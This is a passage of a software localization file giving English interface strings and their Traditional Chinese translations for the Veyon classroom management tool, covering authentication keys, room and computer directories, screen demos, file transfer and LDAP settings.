"%1" or "%2". + 指定的金鑰類型無效! 請指定 "%1" 或 "%2"。 + + + Specified key does not exist! Please use the "list" command to list all installed keys. + 指定的金鑰不存在!請使用 "list" 命令以列出所有安裝的金鑰。 + + + One or more key files already exist! Please delete them using the "delete" command. + 一個或多個金鑰檔已經存在! 請使用 "delete" 命令刪除它們。 + + + Creating new key pair for "%1" + 正在建立 "%1" 的金鑰配對 + + + Failed to create public or private key! + 建立公用金鑰或私密金鑰失敗! + + + Newly created key pair has been saved to "%1" and "%2". + 新建立的金鑰配對已儲存到 "%1" 和 "%2"。 + + + Could not remove key file "%1"! + 無法移除金鑰檔 "%1"! + + + Could not remove key file directory "%1"! + 無法移除金鑰檔目錄 "%1"! + + + Failed to create directory for output file. + 建立輸出檔案的目錄失敗。 + + + File "%1" already exists. + 檔案 "%1" 已經存在。 + + + Failed to write output file. + 無法寫入輸出檔案。 + + + Key "%1/%2" has been exported to "%3" successfully. + 金鑰 "%1/%2" 已匯出到 "%3" 成功。 + + + Failed read input file. + 讀取輸入檔案失敗。 + + + File "%1" does not contain a valid private key! + 檔案 "%1" 不含有效私密金鑰! + + + File "%1" does not contain a valid public key! + 檔案 "%1" 不含有效公開金鑰! + + + Failed to create directory for key file. + 建立金鑰檔的目錄失敗。 + + + Failed to write key file "%1". + 寫入金鑰檔 "%1" 失敗。 + + + Failed to set permissions for key file "%1"! + 設定金鑰檔 "%1" 的權限失敗! + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + 金鑰 "%1/%2" 匯入成功。 請檢查 "%3" 的檔案權限以便防止未經授權的存取。 + + + Failed to convert private key to public key + 將私密金鑰轉換為公開金鑰失敗 + + + Failed to create directory for private key file "%1". + 建立私密金鑰檔 "%1" 的目錄失敗。 + + + Failed to save private key in file "%1"! + 在檔案 "%1" 中儲存私密金鑰失敗! + + + Failed to set permissions for private key file "%1"! + 設定私密金鑰檔 "%1" 的權限失敗! + + + Failed to create directory for public key file "%1". + 建立公開金鑰檔 "%1" 的目錄失敗。 + + + Failed to save public key in file "%1"! + 在檔案 "%1" 中儲存公開金鑰失敗! + + + Failed to set permissions for public key file "%1"! + 設定公開金鑰檔 "%1" 的權限失敗! + + + Failed to set owner of key file "%1" to "%2". + 設定金鑰檔 "%1" 的擁有者為 "%2" 失敗。 + + + Failed to set permissions for key file "%1". + 設定金鑰檔 "%1" 的權限失敗。 + + + Key "%1" is now accessible by user group "%2". + 金鑰 "%1" 現在可由 使用者群組 "%2" 存取。 + + + <N/A> + <不適用> + + + Failed to read key file. + 讀取金鑰檔失敗。 + + + + AuthKeysPlugin + + Create new authentication key pair + 建立新的驗證金鑰配對 + + + Delete authentication key + 刪除驗證金鑰 + + + List authentication keys + 列出驗證金鑰 + + + Import public or private key + 匯入公開或私密金鑰 + + + Export public or private key + 匯出公開或私密金鑰 + + + Extract public key from existing private key + 從現有私密金鑰擷取公開金鑰 + + + Set user group allowed to access a key + 設定允許存取金鑰的使用者群組 + + + KEY + 金鑰 + + + ACCESS GROUP + 存取群組 + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + 這個命令將對 <KEY> 的檔案存取權限進行調整,使得只有使用者群組 <ACCESS GROUP> 才具有對其讀取權限。 + + + NAME + 名稱 + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + 這個命令建立一個名為 <NAME> 的新驗證金鑰配對,並將私密金鑰和公開金鑰儲存到組態的金鑰目錄中。 + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + 這個命令從組態的金鑰目錄中刪除驗證金鑰 <KEY>。 請注意,金鑰一旦刪除就無法恢復。 + + + FILE + 檔案 + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + 這個命令將驗證金鑰 <KEY> 匯出到 <FILE>。 如果沒有指定 <FILE>,將根據 <KEY> 的名稱和類型構造名稱。 + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + 這個命令從 <FILE> 匯入驗證金鑰 <KEY>。 如果沒有指定 <FILE>,將根據 <KEY> 的名稱和類型構造名稱。 + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + 這個命令列出組態的金鑰目錄中所有可用的驗證金鑰。 如果有指定選項「%1」,則會顯示包含金鑰詳細資料的表格。 如果無法存取金鑰,某些詳細資料可能會遺失,例如: 由於缺乏讀取權限。 + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + 這個命令將從私密金鑰 <KEY> 中擷取公開金鑰部分,並將其儲存為相應的公開金鑰。 + + + Please specify the command to display help for! + 請指定顯示說明的命令! + + + TYPE + 類型 + + + PAIR ID + 配對 ID + + + Command line support for managing authentication keys + 管理驗證金鑰的命令列支援 + + + Commands for managing authentication keys + 管理驗證金鑰的命令 + + + + AuthKeysTableModel + + Name + 名稱 + + + Type + 類型 + + + Access group + 存取群組 + + + Pair ID + 配對 ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + 教室 & 電腦 + + + Rooms + 教室 + + + Computers + 電腦 + + + Name + 名稱 + + + Host address/IP + 主機位址/IP + + + MAC address + MAC 位址 + + + Add new room + 加入新的教室 + + + Remove selected room + 移除選取的教室 + + + Add new computer + 加入新的電腦 + + + Remove selected computer + 移除選取的電腦 + + + New room + 新教室 + + + New computer + 新電腦 + + + Builtin directory + 內建目錄 + + + + BuiltinDirectoryPlugin + + Show help for specific command + 顯示指定命令的說明 + + + Add a room or computer + 加入教室或電腦 + + + Clear all rooms and computers + 清除所有電腦和教室 + + + Dump all or individual rooms and computers + 傾印所有或個別教室和電腦 + + + List all rooms and computers + 列出所有教室和電腦 + + + Remove a room or computer + 移除教室或電腦 + + + Import objects from given file + 從給予的檔案匯入物件 + + + Export objects to given file + 匯出物件到給予的檔案 + + + Invalid type specified. Valid values are "%1" or "%2". + 指定的類型無效。 有效值 "%1" 或 "%2". + + + Type + 類型 + + + Name + 名稱 + + + Host address + 主機位址 + + + MAC address + MAC 位址 + + + Specified object not found. + 找不到指定的物件。 + + + File "%1" does not exist! + 檔案 "%1" 不存在! + + + Can't open file "%1" for reading! + 無法開啟檔案 "%1" 來讀取! + + + Unknown argument "%1". + 不明引數 "%1"。 + + + Room "%1" + 教室 "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + 電腦 "%1" (主機位址: "%2" MAC 位址: "%3") + + + Unclassified object "%1" with ID "%2" + ID "%2" 的未分類物件 "%1" + + + None + 無 + + + Room + 教室 + + + Computer + 電腦 + + + Root + 根 + + + Invalid + 無效 + + + Error while parsing line %1. + 分析行 %1 時錯誤。 + + + Network object directory which stores objects in local configuration + 網路物件目錄期存放物件在本機組態 + + + Builtin (computers and rooms in local configuration) + 內建 (在本機組態中電腦和教室) + + + Commands for managing the builtin network object directory + 管理內建網路物件目錄的命令 + + + No format string or regular expression specified! + 沒有指定格式字串或正則表達式! + + + Can't open file "%1" for writing! + 無法開啟檔案 "%1" 來寫入! + + + No format string specified! + 沒有指定格式字串! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +用法 + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +有效變數: %type% %name% %host% %mac% %room% + +範例: + +* 匯出所有物件到 CSV 檔案: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* 匯出教室中所有電腦到 CSV 檔案: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +用法 + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +加入物件,其 TYPE 可以是 "%2" 或 "%3" 之一。 PARENT 能以名稱或 UUID 指定。 + +範例: + +* 加入教室: + + %1 add room "Room 01" + +* 加入電腦到教室 "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +用法 + +%1 remove <OBJECT> + +從目錄移除指定物件。 OBJECT 能以名稱或 UUID 指定。 移除教室也將移除其中的所有電腦。 + +範例: + +* 以名稱移除電腦: + + %1 remove "Computer 01" + +* 以 UUID 移除物件: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + 物件 UUID + + + Parent UUID + 上層 UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +用法 + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +有效變數: %type% %name% %host% %mac% %room% + +範例: + +* 匯入簡單 CSV 檔到單一教室: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* 匯入 CSV 檔含教室名稱在首欄: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* 匯入文字檔以機碼/數值配對,使用正則表示式: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* 匯入任意格式的資料: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + 內建 VNC 伺服器 (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + 內建 VNC 伺服器 (x11vnc) + + + + ComputerControlListModel + + Room: %1 + 教室: %1 + + + Host/IP address: %1 + 主機/IP 位址: %1 + + + Active features: %1 + 可用功能: %1 + + + Online and connected + 線上和已連線 + + + Establishing connection + 建立連線 + + + Computer offline or switched off + 電腦離線或關機 + + + Service unreachable or not running + 服務無法存取或未執行 + + + Authentication failed or access denied + 驗證失敗或存取拒絕 + + + Disconnected + 中斷連線 + + + No user logged on + 沒有使用者登入 + + + Logged on user: %1 + 登入的使用者: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 服務 %2 在 %3: %4 + + + Authentication error + 驗證錯誤 + + + Remote access + 遠端存取 + + + User "%1" at host "%2" is now accessing this computer. + 主機 "%2" 的使用者 "%1" 目前正在存取這部電腦。 + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + 主機 "%2" 的使用者 "%1" 嘗試存取這部電腦,但無法成功進行身份驗證! + + + + ComputerManagementView + + Computer management + 電腦管理 + + + Add room + 加入教室 + + + Save computer/user list + 儲存電腦/使用者清單 + + + Select output filename + 選擇輸出檔案名稱 + + + CSV files (*.csv) + CSV 檔 (*.csv) + + + File error + 檔案錯誤 + + + Could not write the computer and users list to %1! Please check the file access permissions. + 無法寫入電腦和使用者清單到 %1! 請檢查檔案的存取權限。 + + + Computer search + 電腦搜尋 + + + + ComputerManager + + User + 使用者 + + + Missing network object directory plugin + 缺少網路物件目錄外掛程式 + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + 找不到預設網路物件目錄外掛程式。 請檢查您的安裝或透過 %1 組態器設定不同的網路物件目錄後台。 + + + Computer name;Host name;User + 電腦名稱;主機名稱;使用者 + + + Room detection failed + 教室偵測失敗 + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + 無法確定此電腦屬於的那個教室。 這表示系統組態有問題。 所有教室將都顯示在電腦管理。 + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + 請指定要匯入的現有組態檔。 + + + Please specify a valid filename for the configuration export. + 請指定一個有效的檔案名稱作為組態匯出。 + + + Please specify a valid key. + 請指定一個有效的金鑰。 + + + Specified key does not exist in current configuration! + 在目前組態中指定的金鑰不存在! + + + Please specify a valid value. + 請指定一個有效的值。 + + + Configure Veyon at command line + 在命令列上組態 Veyon + + + Output file is not writable! + 輸出檔案無法寫入! + + + Output directory is not writable! + 輸出目錄無法寫入! + + + Configuration file is not readable! + 組態檔無法讀取! + + + Clear system-wide Veyon configuration + 清除系統範圍 Veyon 組態 + + + List all configuration keys and values + 列出所有組態金鑰和數值 + + + Import configuration from given file + 從給予的檔案匯入組態 + + + Export configuration to given file + 匯出組態到給予的檔案 + + + Read and output configuration value for given key + 讀取和輸出給予金鑰的組態值 + + + Write given value to given configuration key + 寫入給予的數值到給予的組態金鑰 + + + Unset (remove) given configuration key + 取消設定 (移除) 給予的組態金鑰 + + + Commands for managing the configuration of Veyon + 管理 Veyon 組態的命令 + + + Upgrade and save configuration of program and plugins + 升級並儲存程式及外掛的組態 + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + 無法修改 %1 服務的自動啟動內容。 + + + Could not configure the firewall configuration for the %1 Server. + 無法組態 %1 伺服器的防火牆設定。 + + + Could not configure the firewall configuration for the %1 Worker. + 無法組態 %1 工人的防火牆設定。 + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + 軟體無法變更 SAS 產生的設定。 透過遠端控制傳送 Ctrl+Alt+Del 將無法動作! + + + Configuration is not writable. Please check your permissions! + 組態未寫入,請檢查您的權限! + + + + DemoClient + + %1 Demo + %1 演示 + + + + DemoConfigurationPage + + Demo server + 展示伺服器 + + + Tunables + 可調整 + + + ms + 毫秒 + + + Key frame interval + 關鍵框架間隔 + + + Memory limit + 記憶體限制 + + + Use multithreading (experimental) + 使用多執行緒 (實驗性) + + + MB + MB + + + Update interval + 更新間隔 + + + s + 秒 + + + + DemoFeaturePlugin + + Fullscreen demo + 全螢幕演示 + + + Stop demo + 停止演示 + + + Window demo + 視窗演示 + + + Give a demonstration by screen broadcasting + 通過螢幕廣播給予演示 + + + Demo server + 演示伺服器 + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + 在這個模式下,所有電腦上的畫面都以全螢幕模式顯示,使用者的輸入裝置鎖定。 + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + 在這個模式下,所有電腦上的畫面都以視窗顯示,使用者可以視需要切換到其它視窗。 + + + + DesktopAccessDialog + + Desktop access dialog + 桌面存取對話方塊 + + + Confirm desktop access + 確認桌面存取 + + + Never for this session + 永不在這個工作階段 + + + Always for this session + 始終在這個工作階段 + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + 在電腦 %2 的使用者 %1 想要存取您的桌面。 您想要授予存取嗎? + + + + DesktopServicesConfigurationPage + + Programs & websites + 程式 & 網站 + + + Predefined programs + 預先定義程式 + + + Name + 名稱 + + + Path + 路徑 + + + Add new program + 加入新的程式 + + + Remove selected program + 移除所選程式 + + + Predefined websites + 預先定義網站 + + + Remove selected website + 移除所選網站 + + + URL + URL + + + New program + 新程式 + + + New website + 新網站 + + + + DesktopServicesFeaturePlugin + + Run program + 執行程式 + + + Open website + 開啟網站 + + + Click this button to open a website on all computers. + 按一下這個按鈕可以在所有電腦上開啟一個網站。 + + + Please enter the URL of the website to open: + 請輸入開啟網站的 URL: + + + Start programs and services in user desktop + 啟動程式和服務在使用者桌面 + + + Click this button to run a program on all computers. + 按一下這個按鈕可以在所有電腦上執行一個程式。 + + + Run program "%1" + 執行程式 "%1" + + + Custom program + 自訂程式 + + + Open website "%1" + 開啟網站 "%1" + + + Custom website + 自訂網站 + + + + ExternalVncServer + + External VNC server + 外部 VNC 伺服器 + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + 外部 VNC 伺服器組態 + + + Port: + 連接埠: + + + Password: + 密碼: + + + + FeatureControl + + Feature control + 功能控制 + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + 無法開啟檔案 "%1" 來讀取! 請檢查您的權限! + + + + FileTransferDialog + + File transfer + 檔案傳輸 + + + Options + 選項 + + + Transfer only + 只傳輸 + + + Transfer and open file(s) with associated program + 傳輸並使用關聯的程式開啟檔案 + + + Transfer and open destination folder + 傳輸並開啟目的地資料夾 + + + Files + 檔案 + + + Start + 開始 + + + Overwrite existing files + 覆寫現有檔案 + + + + FileTransferPlugin + + File transfer + 檔案傳輸 + + + Click this button to transfer files from your computer to all computers. + 按一下這個按鈕可將檔案從電腦傳輸到所有電腦。 + + + Select one or more files to transfer + 選擇要傳輸的一個或多個檔案 + + + Transfer files to remote computer + 將檔案傳輸到遠端電腦 + + + Received file "%1". + 收到的檔案 "%1"。 + + + Could not receive file "%1" as it already exists. + 無法接收檔案 "%1",因為它已經存在。 + + + Could not receive file "%1" as it could not be opened for writing! + 無法接收檔案 "%1",因為無法開啟來寫入! + + + + GeneralConfigurationPage + + User interface + 使用者介面 + + + Language: + 語言: + + + Use system language setting + 使用系統語言設定 + + + Veyon + Veyon + + + Logging + 紀錄 + + + Log file directory + 紀錄檔目錄 + + + ... + ... + + + Log level + 紀錄等級 + + + Nothing + 無 + + + Only critical messages + 只紀錄嚴重錯誤的訊息 + + + Errors and critical messages + 錯誤與嚴重錯誤訊息 + + + Warnings and errors + 警告和錯誤 + + + Information, warnings and errors + 資訊,警告和錯誤 + + + Debug messages and everything else + 除錯訊息和所有一切 + + + Limit log file size + 限制紀錄檔大小 + + + Clear all log files + 清除所有的紀錄檔 + + + Log to standard error output + 紀錄到標準錯誤輸出 + + + Network object directory + 網路物件目錄 + + + Backend: + 後台: + + + Update interval: + 更新間隔: + + + %1 service + %1 服務 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + %1 服務需要暫時停止,以便刪除日誌檔。 繼續? + + + Log files cleared + 紀錄檔已清除 + + + All log files were cleared successfully. + 所有紀錄檔已成功清除。 + + + Error + 錯誤 + + + Could not remove all log files. + 無法移除所有的紀錄檔。 + + + MB + MB + + + Rotate log files + 旋轉日誌檔 + + + x + x + + + seconds + 秒 + + + Write to logging system of operating system + 寫入到作業系統的記錄系統 + + + Authentication + 驗證 + + + Method: + 方式: + + + Logon authentication + 登入驗證 + + + Key file authentication + 金鑰檔驗證 + + + + InternetAccessControlConfigurationPage + + Internet access control + Internet 存取控制 + + + Backend: + 後台: + + + General settings + 一般設定 + + + Backend settings + 後台設定 + + + + InternetAccessControlPlugin + + Block access to the internet + 封鎖存取 internet + + + Allow access to the internet + 允許存取到 internet + + + Show help about command + 顯示命令的說明 + + + Block internet + 封鎖 internet + + + Click this button to block access to the internet. + 按一下這個按鈕以封鎖存取到 internet。 + + + Unblock internet + 取消封鎖 internet + + + Click this button to allow access to the internet. + 按一下這個按鈕以允許存取到 internet。 + + + Control access to the internet + 控制存取 internet + + + Commands for controlling access to the internet + 控制存取 internet 的命令 + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + LDAP 錯誤描述: %1 + + + No LDAP error description available + 沒有可用的 LDAP 錯誤描述 + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + 基本設定 + + + General + 一般 + + + LDAP server and port + LDAP 伺服器和埠 + + + Bind DN + 綁定 DN + + + Bind password + 綁定密碼 + + + Anonymous bind + 匿名綁定 + + + Use bind credentials + 使用綁定認證 + + + Test + 測試 + + + Base DN + 基礎 DN + + + Fixed base DN + 固定的基礎 DN + + + e.g. dc=example,dc=org + 例如: dc=example,dc=org + + + Discover base DN by naming context + 以命名內容探索基礎 DN + + + e.g. namingContexts or defaultNamingContext + 例如: namingCoNtexts 或 defaultNamingCoNtext + + + Environment settings + 環境設定 + + + Object trees + 物件樹 + + + Computer tree + 電腦樹 + + + e.g. OU=Groups + 例如: OU=群組 + + + User tree + 使用者樹 + + + e.g. OU=Users + 例如: OU=使用者 + + + e.g. OU=Computers + 例如: OU=電腦 + + + Group tree + 群組樹 + + + Perform recursive search operations in object trees + 在物件樹中執行遞迴搜尋操作 + + + Object attributes + 物件屬性 + + + e.g. hwAddress + 例如: hwAddress + + + Computer host name attribute + 電腦主機名稱屬性 + + + e.g. member or memberUid + 例如: 成員或 memberUid + + + User login attribute + 使用者登入屬性 + + + e.g. dNSHostName + 例如: dNSHostName + + + Computer MAC address attribute + 電腦 MAC 位址屬性 + + + Group member attribute + 群組成員屬性 + + + e.g. uid or sAMAccountName + 例如: uid 或 sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + 主機名稱儲存為完整限定的網域名稱 (FQDN,例如 myhost.example.org) + + + Advanced settings + 進階設定 + + + Optional object filters + 可選的物件篩選器 + + + Filter for user groups + 使用者群組的篩選器 + + + Filter for users + 使用者的篩選器 + + + Filter for computer groups + 電腦群組的篩選器 + + + Group member identification + 群組成員身份 + + + Distinguished name (Samba/AD) + 可分辨名稱 (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + 使用者登入或電腦的主機名稱 (OpenLDAP) 組態的屬性 + + + List all groups of a user + 列出所有的使用者群組 + + + List all groups of a computer + 列出所有電腦的群組 + + + Get computer object by IP address + 以 IP 位址取得電腦物件 + + + LDAP connection failed + LDAP 連線失敗 + + + LDAP bind failed + LDAP 綁定失敗 + + + LDAP bind successful + LDAP 綁定成功 + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + 成功地連接到 LDAP 伺服器並執行 LDAP 綁定。 基本的 LDAP 設定正確組態。 + + + LDAP base DN test failed + LDAP 基礎 DN 測試失敗 + + + LDAP base DN test successful + LDAP 基礎 DN 測試成功 + + + LDAP naming context test failed + LDAP 命名內容測試失敗 + + + LDAP naming context test successful + LDAP 命名內容測試成功 + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + 查詢 LDAP 命名內容成功。 找到以下基礎 DN: +%1 + + + user tree + 使用者樹 + + + group tree + 群組樹 + + + computer tree + 電腦樹 + + + Enter username + 輸入使用者名稱 + + + Please enter a user login name (wildcards allowed) which to query: + 請輸入查詢的使用者登入名稱 (允許使用萬用字元): + + + user objects + 使用者物件 + + + user login attribute + 使用者登入屬性 + + + Enter group name + 輸入群組名稱 + + + Please enter a group name whose members to query: + 請輸入查詢其成員的群組名稱: + + + group members + 群組成員 + + + group member attribute + 群組成員屬性 + + + Group not found + 找不到群組 + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + 找不到名稱為「%1」的群組。 請檢查群組名稱或群組樹參數。 + + + Enter computer name + 輸入電腦名稱 + + + Please enter a computer host name to query: + 請輸入查詢的電腦主機名稱: + + + Invalid host name + 主機名稱無效 + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + 您組態的電腦主機名稱存放為完整限定的網域名稱 (FQDN),但輸入的主機名稱沒有網域。 + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + 您組態的電腦主機名稱存放為不含網域的簡單主機名稱,但輸入含網域名稱部分的主機名稱。 + + + computer objects + 電腦物件 + + + computer host name attribute + 電腦主機名稱屬性 + + + Enter computer DN + 輸入電腦 DN + + + Please enter the DN of a computer whose MAC address to query: + 請輸入查詢其 MAC 位址的電腦 DN : + + + computer MAC addresses + 電腦 MAC 位址 + + + computer MAC address attribute + 電腦 MAC 位址屬性 + + + users + 使用者 + + + user groups + 使用者群組 + + + computer groups + 電腦群組 + + + Please enter a user login name whose group memberships to query: + 請輸入查詢其群組成員的使用者登入名稱: + + + groups of user + 使用者的群組 + + + user login attribute or group membership attribute + 使用者登入屬性或群組成員屬性 + + + User not found + 找不到使用者 + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + 找不到名稱為「%1」的使用者。 請檢查使用者名稱或使用者樹參數。 + + + Enter host name + 輸入主機名稱 + + + Please enter a computer host name whose group memberships to query: + 請輸入查詢其群組成員的電腦主機名稱: + + + groups of computer + 電腦的群組 + + + computer host name attribute or group membership attribute + 電腦主機名稱屬性或群組成員屬性 + + + Computer not found + 找不到電腦 + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + 找不到主機名稱為「%1」的電腦。 請檢查主機名稱或電腦樹參數。 + + + Enter computer IP address + 輸入電腦 IP 位址 + + + Please enter a computer IP address which to resolve to an computer object: + 請輸入電腦的 IP 位址,解析為一個電腦物件: + + + Host name lookup failed + 主機名稱稱尋找失敗 + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + 找不到 IP 位址 %1 的主機名稱。 請檢查您的 DNS 伺服器設定。 + + + computers + 電腦 + + + LDAP %1 test failed + LDAP %1 測試失敗 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + 無法查詢組態 %1 中的任何項目。 請檢查 %1 參數。 + +%2 + + + LDAP %1 test successful + LDAP %1 測試成功 + + + The %1 has been queried successfully and %2 entries were found. + 查詢 %1 成功和找到 %2 個項目。 + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + 無法查詢任何 %1。 請檢查 %2 參數或輸入現有物件的名稱。 + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 查詢成功: + +%3 + + + LDAP filter test failed + LDAP 篩選器測試失敗 + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + 使用組態的篩選器無法查詢任何 %1。 請檢查 %1 的 LDAP 篩選器。 + +%2 + + + LDAP filter test successful + LDAP 篩選器測試成功 + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 使用組態的篩選器查詢成功。 + + + (only if different from group tree) + (僅從不同群組樹時) + + + Computer group tree + 電腦群組樹 + + + computer group tree + 電腦群組樹 + + + Filter for computers + 電腦的篩選器 + + + e.g. room or computerLab + 例如: room 或 computerLab + + + List all members of a computer room + 列出電腦教室的所有成員 + + + List all computer rooms + 列出所有電腦教室 + + + Enter computer room name + 輸入電腦教室名稱 + + + Please enter the name of a computer room (wildcards allowed): + 請輸入電腦教室名稱 (允許使用萬用字元): + + + computer rooms + 電腦教室 + + + computer room attribute + 電腦教室屬性 + + + Please enter the name of a computer room whose members to query: + 請輸入查詢其成員的電腦教室名稱: + + + computer room members + 電腦教室成員 + + + computer group filter or computer room member aggregation + 電腦群組篩選器或電腦教室成員聚合 + + + Computer rooms + 電腦教室 + + + Integration tests + 整合測試 + + + Computer room attribute + 電腦教室屬性 + + + Aggregate computers in a room via: + 安排教室中電腦透過: + + + Computer groups + 電腦群組 + + + Computer room attribute in computer objects + 電腦物件中電腦教室屬性 + + + Test not applicable + 文字不適用 + + + Computer room name attribute + 電腦教室名稱屬性 + + + e.g. name or description + 例如: 名稱或描述 + + + Filter for computer containers + 電腦容器篩選 + + + Computer containers or OUs + 電腦容器或組織單位 (OU) + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + 請變更電腦教室設定以使用電腦群組或電腦容器作為電腦教室。 接著將查詢指定的屬性而不是電腦群組或容器物件的通用名稱。 否則,您不需要組態這個屬性。 + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + 請變更以下電腦教室設定以使用電腦容器作為電腦教室。 否則,您不需要組態這個篩選。 + + + Connection security + 連線安全性 + + + TLS certificate verification + TLS 憑證驗證 + + + System defaults + 系統預設值 + + + Never (insecure!) + 永不 (不安全) + + + Custom CA certificate file + 自訂 CA 憑證檔 + + + None + 無 + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + 例如: (objectClass=computer) + + + e.g. (objectClass=group) + 例如: (objectClass=group) + + + e.g. (objectClass=person) + 例如: (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + 例如: (objectClass=room) 或 (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + 例如: (objectClass=container) 或 (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + 無法查詢組態的基礎 DN。 請檢查基礎 DN 參數。 + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + LDAP 基礎 DN 已成功查詢。 找到以下項目: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + 無法透過命名內容查詢基礎 DN。 請檢查命名內容屬性參數。 + +%1 + + + Certificate files (*.pem) + 憑證檔 (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + 無法連接到 LDAP 伺服器。 請檢查伺服器參數。 + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + 無法綁定到 LDAP 伺服器。 請檢查伺服器參數並綁定認證。 + +%1 + + + Encryption protocol + 加密協定 + + + + LdapPlugin + + Auto-configure the base DN via naming context + 